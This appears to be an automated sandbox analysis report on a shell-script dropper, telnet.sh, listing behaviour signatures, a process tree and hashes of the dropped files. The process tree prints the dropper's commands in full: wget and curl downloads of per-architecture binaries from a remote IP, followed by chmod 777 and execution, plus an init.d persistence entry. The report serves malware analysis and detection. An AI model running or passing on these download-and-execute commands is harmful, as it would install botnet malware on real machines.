Analysis

  • max time kernel
    96s
  • max time network
    17s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/08/2026, 17:02

General

  • Target
    telnet.sh
  • Size 1KB
  • Sample260808-vkctdavwfv
  • SHA256 91edac44800a3cebae17f730387fbff80d81ba22f5cea696fbbf437b8717dfc0
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/telnet.sh
    /tmp/telnet.sh
    1⤵
    • Executes dropped EXE
    PID:655
    • /usr/bin/wget
      wget http://45.207.196.86/iran.x86_64 -O x86_64
      2⤵
      • Writes file to tmp directory
      PID:656
    • /bin/chmod
      chmod 777 x86_64
      2⤵
      • File and Directory Permissions Modification
      PID:683
    • /tmp/x86_64
      ./x86_64 telnet
      2⤵
        PID:684
      • /usr/bin/wget
        wget http://45.207.196.86/iran.aarch64 -O aarch64
        2⤵
        • Writes file to tmp directory
        PID:686
      • /bin/chmod
        chmod 777 aarch64
        2⤵
        • File and Directory Permissions Modification
        PID:720
      • /tmp/aarch64
        ./aarch64 telnet
        2⤵
          PID:722
        • /usr/bin/wget
          wget http://45.207.196.86/iran.m68k -O m68k
          2⤵
          • Writes file to tmp directory
          PID:726
        • /bin/chmod
          chmod 777 m68k
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/m68k
          ./m68k telnet
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://45.207.196.86/iran.mips -O mips
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 mips
            2⤵
            • File and Directory Permissions Modification
            PID:770
          • /tmp/mips
            ./mips telnet
            2⤵
            • System Network Configuration Discovery
            PID:771
          • /usr/bin/wget
            wget http://45.207.196.86/iran.mipsel -O mipsel
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:773
          • /bin/chmod
            chmod 777 mipsel
            2⤵
            • File and Directory Permissions Modification
            PID:774
          • /tmp/mipsel
            ./mipsel telnet
            2⤵
            • System Network Configuration Discovery
            PID:775
          • /usr/bin/wget
            wget http://45.207.196.86/iran.powerpc -O powerpc
            2⤵
            • Writes file to tmp directory
            PID:777
          • /bin/chmod
            chmod 777 powerpc
            2⤵
            • File and Directory Permissions Modification
            PID:778
          • /tmp/powerpc
            ./powerpc telnet
            2⤵
              PID:779
            • /usr/bin/wget
              wget http://45.207.196.86/iran.sparc -O sparc
              2⤵
              • Writes file to tmp directory
              PID:781
            • /bin/chmod
              chmod 777 sparc
              2⤵
              • File and Directory Permissions Modification
              PID:782
            • /tmp/sparc
              ./sparc telnet
              2⤵
                PID:783
              • /usr/bin/wget
                wget http://45.207.196.86/iran.sh4 -O sh4
                2⤵
                • Writes file to tmp directory
                PID:785
              • /bin/chmod
                chmod 777 sh4
                2⤵
                • File and Directory Permissions Modification
                PID:788
              • /tmp/sh4
                ./sh4 telnet
                2⤵
                  PID:789
                • /usr/bin/wget
                  wget http://45.207.196.86/iran.arc -O arc
                  2⤵
                  • Writes file to tmp directory
                  PID:791
                • /bin/chmod
                  chmod 777 arc
                  2⤵
                  • File and Directory Permissions Modification
                  PID:792
                • /tmp/arc
                  ./arc telnet
                  2⤵
                    PID:793
                  • /usr/bin/wget
                    wget http://45.207.196.86/iran.i486 -O i486
                    2⤵
                    • Writes file to tmp directory
                    PID:795
                  • /bin/chmod
                    chmod 777 i486
                    2⤵
                    • File and Directory Permissions Modification
                    PID:796
                  • /tmp/i486
                    ./i486 telnet
                    2⤵
                      PID:797
                    • /usr/bin/wget
                      wget http://45.207.196.86/iran.armv4l -O armv4l
                      2⤵
                      • Writes file to tmp directory
                      PID:799
                    • /bin/chmod
                      chmod 777 armv4l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:800
                    • /tmp/armv4l
                      ./armv4l telnet
                      2⤵
                      • Modifies init.d
                      • Changes its process name
                      • Reads runtime system information
                      PID:801
                    • /usr/bin/wget
                      wget http://45.207.196.86/iran.armv5l -O armv5l
                      2⤵
                      • Writes file to tmp directory
                      PID:803
                    • /usr/bin/curl
                      curl http://45.207.196.86/iran.armv5l -o armv5l
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      PID:808
                    • /bin/chmod
                      chmod 777 armv5l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:809
                    • /tmp/armv5l
                      ./armv5l telnet
                      2⤵
                        PID:810
                      • /bin/sh
                        /bin/sh ./armv5l telnet
                        2⤵
                          PID:810
                        • /usr/bin/wget
                          wget http://45.207.196.86/iran.armv6l -O armv6l
                          2⤵
                          • Writes file to tmp directory
                          PID:812
                        • /usr/bin/curl
                          curl http://45.207.196.86/iran.armv6l -o armv6l
                          2⤵
                          • Checks CPU configuration
                          PID:813
                        • /bin/chmod
                          chmod 777 armv6l
                          2⤵
                          • File and Directory Permissions Modification
                          PID:814
                        • /tmp/armv6l
                          ./armv6l telnet
                          2⤵
                            PID:815
                          • /bin/sh
                            /bin/sh ./armv6l telnet
                            2⤵
                              PID:815
                            • /usr/bin/wget
                              wget http://45.207.196.86/iran.armv7l -O armv7l
                              2⤵
                              • Writes file to tmp directory
                              PID:817
                            • /usr/bin/curl
                              curl http://45.207.196.86/iran.armv7l -o armv7l
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              PID:818
                            • /bin/chmod
                              chmod 777 armv7l
                              2⤵
                              • File and Directory Permissions Modification
                              PID:819
                            • /tmp/armv7l
                              ./armv7l telnet
                              2⤵
                                PID:820
                              • /bin/sh
                                /bin/sh ./armv7l telnet
                                2⤵
                                  PID:820

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

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                                    Downloads

                                    xs.main

                                    • Path /etc/init.d/xs.main
                                    • Size 26B
                                    • SHA256 7293b4416a8946d8fedb1c1b188b82168221224ed51fdb774dd0a9ab1f65d100
                                    • MD5 SHA1 SHA512

                                    aarch64

                                    • Path /tmp/aarch64
                                    • Size 205KB
                                    • SHA256 00f518e1d68985bb3477a7db43b1cd87b19e8ab0f28656f9476d3c1ec767b5ea
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    arc

                                    • Path /tmp/arc
                                    • Size 153KB
                                    • SHA256 0e42a5f6ceb75b8798d8f89e1b4b0c1f3df854a91bda74deaefaf6772994184b
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    armv4l

                                    • Path /tmp/armv4l
                                    • Size 153KB
                                    • SHA256 0736aea70023fe0789f7bb4c057ce06b425368b1e9ceeb27f1f0447a12fe4c25
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    i486

                                    • Path /tmp/i486
                                    • Size 98KB
                                    • SHA256 4b11d46b6cc930459cd24852a0dc32ff4b17478fe57447063eade46caa81ffb7
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    m68k

                                    • Path /tmp/m68k
                                    • Size 177KB
                                    • SHA256 3c5992d4f4b96c3a9e67796545e992e9a58a091d9b288441dea39cb78d4ad098
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    mips

                                    • Path /tmp/mips
                                    • Size 204KB
                                    • SHA256 c74b026a46d2c1f745e00d0a0c238a4fa6dc73edc7b6e296eb82ec0bdc81c108
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    mipsel

                                    • Path /tmp/mipsel
                                    • Size 206KB
                                    • SHA256 5e16374c9bef3f91624f7bd79a6699b81e8631cc830bbd185bd9fa8778685aff
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    powerpc

                                    • Path /tmp/powerpc
                                    • Size 155KB
                                    • SHA256 5ef8c87877de0c8ec908b788bd9ca21645dc1f3c04bfea21dfe2d8484ca7285d
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    sh4

                                    • Path /tmp/sh4
                                    • Size 138KB
                                    • SHA256 835b4bb30ff13a783cac401f0e8093ba552b623859714e2b617e51fb7bc4c159
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    sparc

                                    • Path /tmp/sparc
                                    • Size 42KB
                                    • SHA256 c360784addafcc7f7e89087a92e1f634464d69ad797103c637b0caad3b636db0
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    x86_64

                                    • Path /tmp/x86_64
                                    • Size 160KB
                                    • SHA256 fb44541efeb566a4dadf7d84ecc48be839112c7b0bf596e65d026b35845a3432
                                    • MD5 SHA1 SHA512 SSDEEP TLSH